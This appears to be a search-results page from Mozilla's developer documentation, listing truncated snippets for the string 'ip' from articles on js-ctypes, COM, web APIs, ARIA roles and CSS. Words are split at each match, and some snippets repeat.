... pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following command in the directory (needs visual studio). $ cl ole32.lib test.cpp vtable needs vtable descr
iption here. the order of the vtable is very critical. when used from c or js-ctypes, the order of the vtable methods should match the order of the c++ vtable. __stdcall and __cdecl needs __stdcall and __cdecl (callback_abi) descr
iption here. call by reference needs c++ reference (&) and c pointer (*) descr
iption here. converted c code now we can translate whole code into c syntax. #inc...
...k(pvoice, l"hello, firefox!", 0, null); pvoice->lpvtbl->release(pvoice); } } // msdn documentation says that even if coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.c, and run following command in the directory. $ cl ole32.lib test.c c code with pseudo struct needs pseudo struct descr
iption here. #include <sapi.h> struct myispvoicevtbl; struct myispvoice { struct myispvoicevtbl* lpvtbl; }; struct myispvoicevtbl { /* start inherit from iunknown */ void* queryinterface; void* addref; ulong (__stdcall *release)(struct myispvoice*); /* end inherit from iunknown */ /* start inherit from ispnotifysource */ void* setnotifysink; void* setnotifywind...
...And 5 more matches
Standard OS Libraries
this article gives the names of standard libraries that can be accessed with js-ctypes. these libraries are what enable js-ctypes to work. the alternative to standard libraries is creating your own dll (for windows) or so (for linux) file with c functions that can be called from your add-on with js-ctypes. the dll/so/etc file you make must be sh
ipped with your add-on. standard libraries offer the advantage of not having to sh
ip anything. they are already available on the operating system for you. you just need to supply the path to appropriate files and set up the proper types of values/arguments in the js-ctypes code. this article allows you to find out what types to give to values/arguments by supplying links to the documentation of the os libraries. windows windows has many standard os...
...on of the os libraries. windows windows has many standard os libraries. the most common, found on all windows os version, is "winapi". windows also has the "winapilists" and ".net framework" (i'm not sure if it can be accessed jsctypes but probably). a complete list of windows apis can be found at the msdn api index. winapi this is the one that is most commonly used by js-ctypes. this comes sh
ipped by default with all installations of windows operating systems since win98. it's also known as winapi32 or just winapi. a list of all the functions available through this api can be found at the msdn winapi index. for finding out the values and types of arguments and returns of the functions you want to use from this api, you must visit the functions page on this linked msdn site; it will give...
...function we are going to call */ var getcursorpos = lib.declare('getcursorpos', ctypes.winapi_abi, ctypes.bool, point.ptr ); /* use it like this */ var point = point(); var ret = getcursorpos(point.address()); components.utils.reporterror(ret); components.utils.reporterror(point); lib.close(); resources for winapi githubgists :: noitidart / search . winapi - winapi js-ctypes sn
ippets that can be copied and pasted to scratchpad com see using com from js-ctypes. unix unix based operating systems are linux, *bsd, solaris, etc. there is a star/asterik ("*") before "bsd" because this means the bsd family such as freebsd, openbsd (who by the way made ssh), netbsd, etc. gtk+ and qt are graphic frameworks, the graphic stack under unix is xorg (x11/x). gtk+ builds over x11...
...And 5 more matches
Flash Activation: Browser Comparison - Plugins
the firefox flash roadmap includes links to roadmaps and posts from other vendors. ui comparison mozilla firefox in-page ui is displayed when the site attempts to use flash. an icon also appears on the left side of the location bar. the user can click on the flash o...
...on bar on any site to open the site information and allow flash on that site: microsoft edge in-page ui is displayed when the site attempts to use flash. an icon also appears on the right side of the location bar. ...
...ing t
ips if a flash element is very small, hidden, or covered by other content, users will probably not notice that flash is required and will become confused. even if the plugin element will eventually be hidden, pages should create the plugin element so that it's visible on the page, and should resize or hide it only after the user has activated the plugin. ...
...And 5 more matches
DevTools API - Firefox Developer Tools
if you notice any inconsistency, please let the firefox developer tools team know. while this api is currently a work-in-progress, there are usable portions of page inspector and debugger that may be used currently. introduction the devtools api provides a way to register and access developer tools in firefox. in terms of user interface, each registered tool lives in its own tab (we call one tab a panel). these tabs are located in a box we call a toolbox. a toolbox can be hosted within a browser tab (at the bottom or on the side), or in its own window (we say that the toolbox is undocked). a toolbox (and all the tools it contains) is linked to a target, which is the object the tools are debugging. ...
...oolbox is opened). there is no way to "close/destroy" a toolpanel. the only way to close a toolpanel is to close its containing toolbox. all these objects implement the eventemitter interface. api gdevtools the gdevtools api can be used to register new tools, themes and handle toolboxes for different tabs and windows. to use the gdevtools api from an add-on, it can be imported with following sn
ippet const { gdevtools } = require("resource:///modules/devtools/gdevtools.jsm"); methods registertool(tooldefinition) registers a new tool and adds a tab to each existing toolbox. parameters: tooldefinition {tooldefinition} - an object that contains information about the tool. see tooldefinition for details. unregistertool(tool) unregisters the given tool and removes it from all ...
...in following properties. most of them are optional and can be used to customize the presense of the tool in the browser and the toolbox. id string, required. an unique identifier for the tool. it must be a valid id for an html element. url string, required. an url of the panel document. label string, optional. the tool's name. if undefined the icon should be specified. toolt
ip string, optional. the toolt
ip for the tool's tab. panellabel string, optional. an accessibility label for the panel. ordinal integer, optional. the position of the tool's tab within the toolbox. default: 99 visibilityswitch string, optional. a preference name that controls the visiblity of the tool. default: devtools.{id}.enabled icon string, optional. an url for the ic...
...And 5 more matches
Using dynamic styling information - Web APIs
the css object model (cssom), part of the dom, exposes specific interfaces allowing man
ipulation of a wide amount of information regarding css. initially defined in the dom level 2 style recommendation, these interfaces forms now a specification, css object model (cssom) which aims at superseding it. in many cases, and where possible, it really is best practice to dynamically man
ipulate classes via the classname property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet. one's javascr
ipt code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or man
ipulating, leaving the precise style details to the stylesheet. however, there are cases where actually ...
...property since the ultimate appearance of all of the styling hooks can be controlled in a single stylesheet. one's javascr
ipt code also becomes cleaner since instead of being dedicated to styling details, it can focus on the overall semantics of each section it is creating or man
ipulating, leaving the precise style details to the stylesheet. however, there are cases where actually obtaining or man
ipulating the rules can be useful (whether for whole stylesheets or individual elements), and that is described in further detail below. note also that, as with individual element's dom styles, when speaking of man
ipulating the stylesheets, this is not actually man
ipulating the physical document(s), but merely the internal representation of the document. the basic style object exposes the styleshee...
... to get to the style objects from the document, you can use the document.stylesheets property and access the individual objects by index (e.g., document.stylesheets[0] is the first stylesheet defined for the document, etc.). ...
...And 5 more matches
ContentIndex.add() - Web APIs
used in user-visible lists of content. url: a string containing the url of the corresponding html document. needs to be under the scope of the current service worker. ...
...used in user-visible lists of content. url: a string containing the url of the corresponding html document. needs to be under the scope of the current service worker. ...
...used in user-visible lists of content. url: a string containing the url of the corresponding html document. needs to be under the scope of the current service worker. category: optional a string defining the category of content. ...
...And 5 more matches
Document.execCommand() - Web APIs
most commands affect the document's selection (bold, italics, etc.), while others insert new elements (adding a link), or affect an entire line (indenting). when using contenteditable, execcommand() affects the currently active editable element. syntax document.execcommand(acommandname, ashowdefaultui, avalueargument) return value a boolean that is false if the command is unsupported or disabled. ...
...f for the selection or at the insertion point. internet explorer uses the <strong> tag instead of <b>. clearauthenticationcache clears all authentication credentials from the cache. contentreadonly makes the content document either read-only or editable. this requires a boolean true/false as the value argument. (not supported by internet explorer.) copy copies the current selection to the cl
ipboard. conditions of having this behavior enabled vary from one browser to another, and have evolved over time. check the compatibility table to determine if you can use it in your case. createlink creates an hyperlink from the selection, but only if there is a selection. requires a uri string as a value argument for the hyperlink's href. the uri must contain at least a single character, which m...
... table to determine if you can use it in your case. createlink creates an hyperlink from the selection, but only if there is a selection. requires a uri string as a value argument for the hyperlink's href. the uri must contain at least a single character, which may be whitespace. (internet explorer will create a link with a null value.) cut removes the current selection and copies it to the cl
ipboard. when this behavior is enabled varies between browsers, and its conditions have evolved over time. check the compatibility table for usage details. decreasefontsize adds a <small> tag around the selection or at the insertion point. (not supported by internet explorer.) defaultparagraphseparator changes the paragraph separator used when new paragraphs are created in editable text regions.
...And 5 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
this article explores when difficulties can occur, and looks at what can be done to mitigate resulting problems. what is whitespace? whitespace is any string of text composed only of spaces, tabs or line breaks (to be precise, crlf sequences, carriage returns or line feeds). these characters allow you to format your code in a way that will make it easily readable by yourself and other people. ...
...for example, if you have a reference to a parent node and want to affect its first element child using node.firstchild, if there is a rogue whitespace node just after the opening parent tag you will not get the result you are expecting. the text node would be selected instead of the element you want to affect. as ...
...for example, if you have a reference to a parent node and want to affect its first element child using node.firstchild, if there is a rogue whitespace node just after the opening parent tag you will not get the result you are expecting. the text node would be selected instead of the element you want to affect. as another example, if ...
...And 5 more matches
FileList - Web APIs
with the <input type="file"> element. it's also used for a list of files dropped into web content when using the drag and drop api; see the datatransfer object for details on this usage. note: prior to gecko 1.9.2, the input element only supported a single file being selected at a time, meaning that the filelist would contain only one file. starting with gecko 1.9.2, if the input element's mult
iple attribute is true, the filelist may contain mult
iple files. using the file list all <input> element nodes have a files attribute of type filelist on them which allows access to the items in this list. for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var...
... them which allows access to the items in this list. for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method overview file item(index); properties attribute type descr
iption length integer a read-only value indicating the number of files in the list. methods item() returns a file object representing the file at the specified index in the file list. file item( index ); parameters index the zero-based index of the file to retrieve from the list. return value the file representing the requested file. example this example iter...
...enting the file at the specified index in the file list. file item( index ); parameters index the zero-based index of the file to retrieve from the list. return value the file representing the requested file. ...
...And 5 more matches
HTMLImageElement.srcset - Web APIs
the htmlimageelement property srcset is a string which identifies one or more image candidate strings, separated using commas (,) each specifying image resources to use under given circumstances. each image candidate string contains an image url and an optional width or pixel density descr
iptor that indicates the conditions under which that candidate should be used instead of the image specified by the src property. the srcset property, along with the sizes property, are a crucial component in designing responsive web sites, as they can be used together to make pages that use appropriate images for the rendering situation. syntax htmlimageelement.srcset = imagecandidatestrings; let srcset = htmlimageelement.srcset; value a usvstring containing a comma-separated list of one or more ima...
...nt.srcset; value a usvstring containing a comma-separated list of one or more image candidate strings to be used when determining which image resource to present inside the <img> element represented by the htmlimageelement. each image candidate string must begin with a valid url referencing a non-interactive graphic resource. ...
...ement represented by the htmlimageelement. each image candidate string must begin with a valid url referencing a non-interactive graphic resource. this is followed by a comma (,) character and then a condition descr
iptor that indicates the circumstances in which the indicated image should be used. space characters, other than the whitespace separating the url and the corresponding condition descr
iptor, are ignored; this includes both leading and trailing space, as well as space before or after each comma. ...
...And 5 more matches
Recommended Drag Types - Web APIs
of two types: text/uri-list, and text/plain. both types should use the link's url for their data. for example: var dt = event.datatransfer; dt.setdata("text/uri-list", "https://www.mozilla.org"); dt.setdata("text/plain", "https://www.mozilla.org"); as usual, set the text/plain type last, as a fallback for the text/uri-list type. note: the url type is uri-list with an i, not an l. to drag mult
iple links, separate each link inside the text/uri-list data with a crlf linebreak. lines that begin with a number sign (#) are comments, and should not be considered urls. you can use comments to indicate the purpose of a url, the title associated with a url, or other data. the text/plain fallback for mult
iple links should include all urls, but no comments. for example, this sample text/uri-lis...
...for convenience, the special type url may be used to refer to the first valid link within data for the text/uri-list type. ...
...tdataat() method to assign the data. similarly, when retrieving the data, you must use the mozgetdataat() method. event.datatransfer.mozsetdataat("application/x-moz-file", file, 0); if possible, include the file url of the file using both the text/uri-list and text/plain types. these types should be added afterward so that the more specific application/x-moz-file type has higher priority. ...
...And 5 more matches
Media Session action types - Web APIs
amount of time to seek backward. seekforward seeks forward from the current position through the media. the mediasessionactiondetails property seekoffset specifies the amount of time to seek forward. seekto moves the playback position to the specified time within the media. the time to which to seek is specified in the mediasessionactiondetails property seektime. if you intend to perform mult
iple seekto operations in rapid succession, you can also specify the mediasessionactiondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. sk
ipad sk
ips past the currently playing advertisement or commercial. this action may or may not be available, depending on the pl...
...specify the mediasessionactiondetails property fastseek property with a value of true. this lets the browser know it can take steps to optimize repeated operations, and is likely to result in improved performance. sk
ipad sk
ips past the currently playing advertisement or commercial. this action may or may not be available, depending on the platform and user agent, or may be disabled due to subscr
iption level or other circumstances. stop halts playback entirely. descr
iption a media session action may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard to buttons on the user's headset or earbuds. examples adding action handlers this example implements seek forward and bac...
...may be generated by any media session action source; these sources include anything from ui widgets within the browser itself to media control keys on the user's keyboard to buttons on the user's headset or earbuds. examples adding action handlers this example implements seek forward and backward actions for an audio player by setting up the seekforward and seekbackward action handlers. let sk
iptime = 10; // time to sk
ip in seconds navigator.mediasession.setactionhandler('seekforward', evt => { // user clicked "seek forward" media notification icon. audio.currenttime = math.min(audio.currenttime + sk
iptime, audio.duration); }); navigator.mediasession.setactionhandler('seekbackward', evt => { // user clicked "seek backward" media notification icon. audio.currenttime...
...And 5 more matches
PaymentRequest.PaymentRequest() - Web APIs
about the requested transaction. this parameter contains the following fields: total the total amount of the payment request. id optional a free-form identifier for this payment request. if a value is not supplied, the browser will construct one. displayitems an array of optional line items for the payment request that the user agent may display, such as product details, tax, and sh
ipping. sh
ippingoptions the sh
ipping options the user may choose from. if this sequence is blank, it indicates the merchant cannot sh
ip to the current sh
ipping address. the default sh
ipping option may be indicated in this sequence. modifiers modifiers for specific payment methods; for example, adjusting the total amount based on the payment method. this parameter contains the following field...
... it with the payment request. the default is false. requestpayeremail a boolean indicating whether the user agent should collect the payer's email address and submit it with the payment request. the default is false. requestpayerphone a boolean indicating whether the user agent should collect the payer's phone number and submit it with the payment request. the default is false. requestsh
ipping a boolean indicating whether the user agent should collect the payer's sh
ipping address and submit it with the payment request. if you set this type to true, you should select an appropriate sh
ippingtype. the default is false. sh
ippingtype lets you specify how the user interface refers to sh
ipping when the word 'sh
ipping' isn't appropriate for your use case. for example, in english spea...
... return value a new paymentrequest object, configured for use as configured by the input parameters. ...
...And 5 more matches
Using the Payment Request API - Web APIs
s a browser-based method of connecting users and their preferred payment systems and platforms to merchants that they want to pay for goods and services. this article is a guide to making use of the payment request api, with examples and suggested best practices. the basics of making a payment this section details the basics of using the payment request api to make a payment. note: the code sn
ippets from this section are from our feature detect support demo. creating a new payment request object a payment request always starts with the creation of a new paymentrequest object -- using the paymentrequest() constructor. this takes two mandatory parameters and one option parameter: methoddata -- an object containing information concerning the payment provider, such as what payment meth...
...the creation of a new paymentrequest object -- using the paymentrequest() constructor. this takes two mandatory parameters and one option parameter: methoddata -- an object containing information concerning the payment provider, such as what payment methods are supported, etc. details -- an object containing information concerning the specific payment, such as the total payment amount, tax, sh
ipping cost, etc. options (optional) -- an object containing addtional options related to the payment. so for example, you could create a new paymentrequest instance like so: var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); the functions invoked inside the constructor simply return the required object parameters: ...
...in the code above, you'll see that we've called the paymentresponse.complete() method to signal that the interaction has finished -- you'd use this to carry out finishing steps, like updating the user interface to tell the user the transaction is complete, etc. other useful payment request methods there are some other useful payment request method...
...And 5 more matches
SVGTransformList - Web APIs
exceptions: a domexception with code ...
...nly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type descr
iption numberofitems unsigned long the number of items in the list. length unsigned long the number of items in the list. methods name & arguments return descr
iption clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only attribute or when the object itself is read only. initialize(in svgtransform newitem) svgtransform clears all e...
...formfrommatrix(in svgmatrix) svgtransform creates an svgtransform object which is initialized to transform of type svg_transform_matrix and whose values are the given matrix. the values from the parameter matrix are copied, the matrix parameter is not adopted as svgtransform::matrix. consolidate() svgtransform consolidates the list of separate svgtransform objects by mult
iplying the equivalent transformation matrices together to result in a list consisting of a single svgtransform object of type svg_transform_matrix. the consolidation operation creates new svgtransform object as the first and only item in the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. exceptions: a do...
...And 5 more matches
Streams API concepts - Web APIs
the streams api adds a very useful set of tools to the web platform, providing objects allowing javascr
ipt to programmatically access streams of data received over the network and process them as desired by the developer. some of the concepts and terminology associated with streams might be new to you -- this article explains all you need to know. readable streams a readable stream is a data source represented in javascr
ipt by a readablestream object that flows from an underlying source -- this is a resource somewhere on the network or elsewhere on your domain that you want to get data from. there are two types of underlying source: push sources constantly push data at you when you've accessed them, and it is up to you to start, pause, or cancel access to the stream. examples include ...
...ange over time. you can make use of ready-made readable streams via mechanisms like a response.body from a fetch request, or roll your own streams using the readablestream() constructor. teeing even though only a single reader can read a stream at once, it is possible to split a stream into two identical copies, which can then be read by two separate readers. this is called teeing. in javascr
ipt, this is achieved via the readablestream.tee() method -- it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers. you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response bo...
... serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you'd need two copies to do this. writable streams a writable stream is a destination into which you can write data, represented in javascr
ipt by a writablestream object. this serves as an abstraction over the top of an underlying sink -- a lower-level i/o sink into which raw data is written. the data is written to the stream via a writer, one chunk at a time. a chunk can take a multitude of forms, just like the chunks in a reader. you can use whatever code you like to produce the chunks ready for writing; the writer plus the associat...
...And 5 more matches
WebGLRenderingContext.pixelStorei() - Web APIs
storei() method of the webgl api specifies the pixel storage modes. syntax void gl.pixelstorei(pname, param); parameters pname a glenum specifying which parameter to set. see below for possible values. param a glint specifying a value to set the pname parameter to. see below for possible values. return value none. pixel storage parameters parameter name (for pname) descr
iption type default value allowed values (for param) specified in gl.pack_alignment packing of pixel data into memory glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_alignment unpacking of pixel data from memory. glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_fl
ip_y_webgl fl
ips the source data along its vertical axis if true. glbo...
...ecified in gl.pack_alignment packing of pixel data into memory glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_alignment unpacking of pixel data from memory. glint 4 1, 2, 4, 8 opengl es 2.0 gl.unpack_fl
ip_y_webgl fl
ips the source data along its vertical axis if true. glboolean false true, false webgl gl.unpack_premult
iply_alpha_webgl mult
iplies the alpha channel into the other color channels glboolean false true, false webgl gl.unpack_colorspace_conversion_webgl default color space conversion or no color space conversion. glenum gl.browser_default_webgl gl.browser_default_webgl, gl.none webgl when using a webgl 2 context, the following values are available additional...
...e alpha channel into the other color channels glboolean false true, false webgl gl.unpack_colorspace_conversion_webgl default color space conversion or no color space conversion. ...
...And 5 more matches
Writing WebSocket servers - Web APIs
ion listening on any port of a tcp server that follows a specific protocol. the task of creating a custom server tends to scare people; however, it can be straightforward to implement a simple websocket server on your platform of choice. a websocket server can be written in any server-side programming language that is capable of berkeley sockets, such as c(++), python, php, or server-side javascr
ipt. this is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server. this article assumes you're already familiar with how http works, and that you have a moderate level of programming experience. depending on language support, knowledge of tcp sockets may be required. the scope of this guide is to present the minimum knowledge you need to write a webso...
...ockets, although they may offer an exception for local devices. the handshake is the "web" in websockets. it's the bridge from http to websockets. in the handshake, details of the connection are negotiated, and either party can back out before completion if the terms are unfavorable. the server must be careful to understand everything the client asks for, otherwise security issues can occur. t
ip: the request-uri (/chat here) has no defined meaning in the spec. so, many people use it to let one server handle mult
iple websocket applications. for example, example.com/chat could invoke a multiuser chat app, while /game on the same server might invoke a mult
iplayer game. client handshake request even though you're building a server, a client still has to start the websocket handshake proc...
...bsocket-version: 13 the client can solicit extensions and/or subprotocols here; see miscellaneous for details. also, common headers like user-agent, referer, cookie, or authentication headers might be there as well. do whatever you want with those; they don't directly pertain to the websocket. it's also safe to ignore them. in many common setups, a reverse proxy has already dealt with them. t
ip: all browsers send an origin header. you can use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a 403 forbidden if you don't like what you see. however, be warned that non-browser agents can send a faked origin. most applications reject requests without this header. if any header is not understood or has an incorrect value, the server shoul...
...And 5 more matches
Rendering and the WebXR frame animation callback - Web APIs
ch as is practicable off the main thread and by keeping your frame rendering callback as efficient as possible. the division of time into 60 hz blocks with each block being used at least in part to render the scene is shown in the diagram below. this is important because as the computer becomes increasingly busy, it may not be able to accurately call your callback every frame and may have to sk
ip frames. this is called dropping frames. this happens when the amount of time it takes to render a frame exceeds the time available between frames, whether because rendering was delayed or because rendering itself took more time than was available. in the diagram above, frame 3 is dropped because frame 2 did not complete rendering until after frame 3 was due to be painted. the next frame drawn ...
...ready before the frame is actually called for, you can make your site or app render much more efficiently, improving main thread performance and generally making the user experience better. fortunately, there are some tricks you can use to further reduce your impact and optimize performance if your renderering needs are particularly heavy. see the webxr performance guide for recommendations and t
ips that will help you ensure your performance is as good as it can be. webxr frames your frame rendering callback function receives as input two parameters: the time to which the frame corresponds, and an xrframe object describing the state of the scene as of that time. the optics of 3d we have two eyes for a reason: by having two eyes, each inherently sees the world from a slightly different a...
... a little bit to the left of center, and the right eye sees it from a bit to the right of center. as a result, the left eye sees just a little bit more of the left side of the object and a little bit less of the right, and vice versa. these two images are focused onto the retinas and the resulting signal transmitted over the optic nerves to the brain's visual cortex, located at the back of the occ
ipital lobe. tha brain takes those signals from the left and right eyes and constructs a single, unified, 3d image of the world in the viewer's brain, and that image is what is seen. and because of those differences between what is seen by the left eye versus the right eye, the brain is able to infer a great deal of information about how deep the object is, its size, and more. by combining that inf...
...And 5 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
ith the web audio api, you've come to the right place. demo we're going to be looking at a very simple step sequencer: in practice this is easier to do with a library -- the web audio api was built to be built upon. if you are about to embark on building something more complex, tone.js would be a good place to start. however, we want to demonstrate how to build such a demo from first princ
iples, as a learning exercise. note: you can find the source code on github as step-sequencer; see the step-sequencer running live also. the interface consists of master controls, which allow us to play/stop the sequencer, and adjust the bpm (beats per minute) to speed up or slow down the "music". there are four different sounds, or voices, which can be played. each voice has four buttons, whic...
...adjust the bpm (beats per minute) to speed up or slow down the "music". there are four different sounds, or voices, which can be played. each voice has four buttons, which represent four beats in one bar of music. when they are enabled the note will sound. when the instrument plays, it will move across this set of beats and loop the bar. ...
...t of beats and loop the bar. each voice also has local controls, which allow you to man
ipulate the effects or parameters particular to each technique we are using to create those voices. ...
...And 5 more matches
Web Locks API - Web APIs
the web locks api allows scr
ipts running in one tab or worker to asynchronously acquire a lock, hold it while work is performed, then release it. while held, no other scr
ipt executing in the same origin can acquire the same lock, which allows a web app running in mult
iple tabs or workers to coordinate work and the use of resources. web locks concepts and usage a lock is an abstract concept representing some potentially shared resource, identified by a name chosen by the web app. ...
... work is done while holding the lock in an asynchronous task. ...
...options, and a callback. the callback is invoked when the lock is granted. the lock is automatically released when the callback returns, so usually the callback is an async function, which causes the lock to be released only when the async function has completely finished. the request() method itself returns a promise which resolves once the lock has been released; within an async function, a scr
ipt can await the call to make the asynchronous code flow linear. for example: await do_something_without_lock(); // request the lock. await navigator.locks.request('my_resource', async lock => { // the lock has been acquired. await do_something_with_lock(); await do_something_else_with_lock(); // now the lock will be released. }); // the lock has been released. await do_something_else_wi...
...And 5 more matches
ARIA: banner role - Accessibility
the page. this usually includes a logo, company name, search icon, photo related to the page, or slogan. <div role="banner"> <img src="companylogo.svg" alt="my company name" /> <h1>title</h1> <h2>subtitle</h2> </div> by default, the html5 <header> element has an identical meaning to the banner landmark, unless it is a descendant of <aside>, <article>, <main>, <nav>, or <section>. descr
iption a banner landmark role converts the container element upon which it is applied into a header. it should be reserved for the site header content that is common across the site generally at the top of every page. the banner is typically includes things a logo or corporate identity, possibly a site-specific search tool, and is generally what your marketing team would call the header or top ban...
...page should be limited to only one header with the role of banner. in the case of a page containing nested document and/or application roles, each nested document or application role may also have one banner landmark. if a page includes more than one banner landmark, each should have a unique label. ...
...in the case of a page containing nested document and/or application roles, each nested document or application role may also have one banner landmark. if a page includes more than one banner landmark, each should have a unique label. associated aria roles, states, and properties none keyboard interactions none required javascr
ipt features none examples here's a fake simple banner with a sk
ip to navigation link, a logo, a title and a subtitle. ...
...And 5 more matches
ARIA: button role - Accessibility
on" should be used for buttons: <button id="savechanges">save</button> note: if using role="button" instead of the semantic <button> or <input type="button"> elements, you will need to make the element focusable and have to define event handlers for click and keydown events, including the enter and space keys, in order to process the user's input. see the official wai-aria example code. ...
... in addition to the ordinary button widget, role="button" should be included when creating a toggle button or menu button using a non button element. a toggle button is a two-state button that can be either off (not pressed) or on (pressed). ...
...clicking the button opens a dialog, the focus should move to the dialog. if the button closes a dialog, focus should returns to the button that opened the dialog unless the function performed in the dialog context logically leads to a different element. if the button alters the current context, then focus typically remains on the button, such as muting and unmuting an audio file. required javascr
ipt features required event handlers buttons can be operated by mouse, touch, and keyboard users. for native html <button> elements, the button's onclick event fires for mouse clicks and when the user presses space or enter while the button has focus. but if another tag is used to create a button, the onclick event only fires when clicked by the mouse cursor, even if role="button" is used. because...
...And 5 more matches
Text labels and names - Accessibility
there are a number of different types of problems in this category, found in different contexts, and each has its own solution. the different problems and solutions are discussed in the sections below. use alt attribute to label area elements that have the href attribute in image maps, give each <area> element an alt attribute containing a name that describes what resources the areas links to. ...
...ia.html" alt="audio visual lab" /> </map> see the <area> element reference page for a live interactive example. see also <area> h24: providing text alternatives for the area elements of image maps dialogs should be labeled for any container whose contents act as a dialog box (for example, a modal dialog asking the user to make a choice or respond to an action being taken), give it a descr
iptive label or name, so that assistive technology users can easily discover what its purpose is. a dialog box is generally denoted by an aria role="dialog" or role="alertdialog"; you can use the aria-label or aria-labelledby attributes to provide a label. examples the following example shows a simple dialog box, defined as such using role="dialog" and labelled using aria-labelledby. <div role=...
...validation problems): <title>2 errors -- fill in your details to register -- mygov services</title> see also <title> embedded content must be labeled make sure that elements that embed content have a title attribute that describes the embedded content. this includes the <embed> and <object> elements. these elements are often used for graphical content, much like the <img> element. a descr
iptive title helps users of assistive technology understand what the element is showing. figures with optional captions should be labeled for best accessibility, include a <figcaption> within a <figure> element, even though doing so is technically optional. the caption is in addition to any alternative text on images within the figure. the caption describes the purpose of the figure in the documen...
...And 5 more matches
Basic Shapes - CSS: Cascading Style Sheets
ious box values after your basic shape definition. therefore the default behaviour is as if you have defined. .shape { shape-outside: circle(50%) margin-box; } you can therefore change this in order that your shape uses the different parts of the box model, for example to use the border. .shape { shape-outside: circle(50%) border-box; } what is worth noting is that the margin-box will cl
ip the shape, therefore shapes created in reference to other shapes which extend past the margin box will have the shape cl
ipped to the margin box. we will see this in the following examples of basic shapes. for an excellent descr
iption of references boxes as they apply to css shapes see understanding reference boxes for css shapes. inset() the inset() type defines a rectangle, which may not seem...
...lso add the box value that you wish to use as a reference box. in the example below change the reference box from margin-box to border-box, padding-box or content-box to see how the reference box used as the starting point before offsets are calculated changes. circle() the circle() value for shape-outside can accept two possible arguments. the first is the shape-radius. ...
... the second argument is a position. if omitted this will be set to center. ...
...And 5 more matches
attr() - CSS: Cascading Style Sheets
ng> the attribute value is treated as a css <string>. it is not reparsed, and in particular the characters are used as-is instead of css escapes being turned into different characters. an empty string. color <color> the attribute value is parsed as a hash (3- or 6-value hash) or a keyword. it must be a valid css <string> value. leading and trailing spaces are str
ipped. currentcolor url <url> the attribute value is parsed as a string that is used inside a css url() function. relative url are resolved relatively to the original document, not relatively to the style sheet. leading and trailing spaces are str
ipped. the url about:invalid that points to a non-existent document with a generic error condition. int...
...heet. leading and trailing spaces are str
ipped. the url about:invalid that points to a non-existent document with a generic error condition. integer <integer> the attribute value is parsed as a css <integer>. if it is not valid, that is not an integer or out of the range accepted by the css property, the default value is used. leading and trailing spaces are str
ipped. 0, or, if 0 is not a valid value for the property, the property's minimum value. number <number> the attribute value is parsed as a css <number>. if it is not valid, that is not a number or out of the range accepted by the css property, the default value is used. leading and trailing spaces are str
ipped. 0, or, if 0 is not a valid value for the property, the...
... minimum value. length <length> the attribute value is parsed as a css <length> dimension, that is including the unit (e.g. 12.5em). if it is not valid, that is not a length or out of the range accepted by the css property, the default value is used. if the given unit is a relative length, attr() computes it to an absolute length. leading and trailing spaces are str
ipped. 0, or, if 0 is not a valid value for the property, the property's minimum value. em, ex, px, rem, vw, vh, vmin, vmax, mm, cm, in, pt, or pc <length> the attribute value is parsed as a css <number>, that is without the unit (e.g. 12.5), and interpreted as a <length> with the specified unit. if it is not valid, that is not a number or out of the range accepted by the c...
...And 5 more matches
<blend-mode> - CSS: Cascading Style Sheets
ormal the final color is the top color, regardless of what the bottom color is. the effect is like two opaque pieces of paper overlapping. <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: normal; } mult
iply the final color is the result of mult
iplying the top and bottom colors. a black layer leads to a black final layer, and a white layer leads to no change. the effect is like two images printed on transparent film overlapping. <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://...
...olors. a black layer leads to a black final layer, and a white layer leads to no change. the effect is like two images printed on transparent film overlapping. <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: mult
iply; } screen the final color is the result of inverting the colors, mult
iplying them, and inverting that value. a black layer leads to no change, and a white layer leads to a white final layer. the effect is like two images shone onto a projection screen. <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543...
...e layer leads to a white final layer. the effect is like two images shone onto a projection screen. <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } overlay the final color is the result of mult
iply if the bottom color is darker, or screen if the bottom color is lighter. this blend mode is equivalent to hard-light but with the layers swapped. <div id="div"></div> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'), url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: overlay; } ...
...And 5 more matches
